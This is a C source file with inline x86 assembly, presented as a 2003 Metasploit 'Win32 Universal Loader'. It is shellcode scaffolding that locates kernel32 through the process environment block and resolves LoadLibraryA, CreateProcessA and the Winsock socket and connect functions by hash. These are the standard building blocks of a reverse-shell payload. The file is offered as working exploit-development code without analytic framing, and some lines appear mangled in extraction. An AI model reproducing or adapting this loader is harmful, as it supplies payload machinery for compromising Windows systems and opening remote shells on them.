/* Win32 Universal Loader - Copyright (C) 2003 METASPLOIT.COM Credits: Dino Dai Zovi, LSD-PL This code was written in Visual Studio and depends on several quirks in the assembler to save space. The inline assembly will compile fine with minimal changes under nasm, but the code will be bloated unless you manually optimize it. */ #include #include void UniversalLoader __asm { /* allocate space for string table */ sub esp, 40 mov esi, esp /* [esi] stack layout 00 kernel32.dll base address 04 ws2_32.dll base address 08 LoadLibraryA 12 WaitForSingleObject 16 CreateProcessA 20 ExitProcess 24 WSAStartup 28 WSASocketA 32 connect */ /* GetModuleHandleA(kernel32.dll) */ call LK32Base mov [esi], eax /* GetProcAddress(LoadLibraryA) */ push [esi] push 0xec0e4e8e /* result of GetHash("LoadLibraryA") */ call LGetProcAddress mov [esi + 8], eax /* GetProcAddress(WaitForSingleObject) */ push [esi] push 0xce05d9ad call LGetProcAddress mov [esi + 12], eax /* GetProcAddress(CreateProcessA) */ push [esi] push 0x16b3fe72 call LGetProcAddress mov [esi + 16], eax /* GetProcAddress(ExitProcessA) */ push [esi] push 0x73e2d87e call LGetProcAddress mov [esi + 20], eax /* LoadLibraryA(WS2_32.DLL) */ push 0x00006c6c push 0x642e3233 push 0x5f327377 push esp /* ptr to "ws2_32.dll\x00" */ call [esi + 8] mov [esi + 4], eax /* GetProcAddress(WSAStartup) */ push [esi + 4] /* address of ws2_32.dll */ push 0x3bfcedcb call LGetProcAddress mov [esi + 24], eax /* GetProcAddress(WSASocketA) */ push [esi + 4] push 0xadf509d9 call LGetProcAddress mov [esi + 28], eax /* GetProcAddress(connect) */ push [esi + 4] push 0x60aaf9ec call LGetProcAddress mov [esi + 32], eax /* ExitProcessA() */ call [esi + 20] /* loader subroutines (based on Dino Dai Zovi / LSD-PL) */ LK32Base: push ebp push esi mov eax, fs:0x30 /* PEB */ test eax, eax /* Win9x -PEB */ js LK32Base9x /* kernel32.dll is blink in flink of InInitOrder module list */ mov eax, [eax + 0x0c] /* PROCESS_MODULE_INFO */ mov esi, [eax + 0x1c] /* InInitOrder.flink */ lodsd /* eax = InInitOrder.blink */ mov ebp, [eax + 0x08] /* ebp = kernel32.dll base address */ jmp LK32BaseRet LK32Base9x: mov eax, [eax + 0x34] mov ebp, [eax + 0xb8] LK32BaseRet: mov eax, ebp pop esi pop ebp ret 4 /* LGetProcAddress(HASH, DLLBASE) */ LGetProcAddress: push ebx push ebp push esi push edi mov ebp, [esp + 24] /* DLL Base Address */ mov eax, [ebp + 0x3c] /* eax = PE header offset */ mov edx, [ebp + eax + 120] add edx, ebp /* edx = exports directory table */ mov ecx, [edx + 24] /* ecx = number of name pointers */ mov ebx, [edx + 32] add ebx, ebp /* ebx = name pointers table */ LFnlp: jecxz LNtfnd dec ecx mov esi, [ebx + ecx * 4] add esi, ebp /* esi = name pointer */ xor edi, edi cld LHshlp: xor eax, eax lodsb cmp al, ah je LFnd ror edi, 13 add edi, eax jmp LHshlp LFnd: /* compare computed hash to argument */ cmp edi, [esp + 20] jnz LFnlp mov ebx, [edx + 36] /* ebx = ordinals table RNA */ add ebx, ebp mov cx, [ebx + 2 * ecx] /* ecx = function ordinal */ mov ebx, [edx + 28] /* ebx = address table RVA */ add ebx, ebp mov eax, [ebx + 4 * ecx] /* eax = address of function RVA */ add eax, ebp jmp LDone LNtfnd: xor eax, eax LDone: mov edx, ebp pop edi pop esi pop ebp pop ebx ret 4 }; } unsigned long GetHash (char *name) { __asm { mov esi, [esp + 12] xor edi, edi cld HashLoop: xor eax, eax lodsb cmp al, ah je HashDone ror edi, 13 add edi, eax jmp HashLoop HashDone: mov eax, edi }; } int main (int argc, char **argv) { char *fname; unsigned long hash; /* sample usage of the hashing function */ fname = "WaitForSingleObject"; hash = GetHash(fname); fprintf(stderr, "HASH(%s) => 0x%.8x\n", fname, hash); UniversalLoader(); return 0; }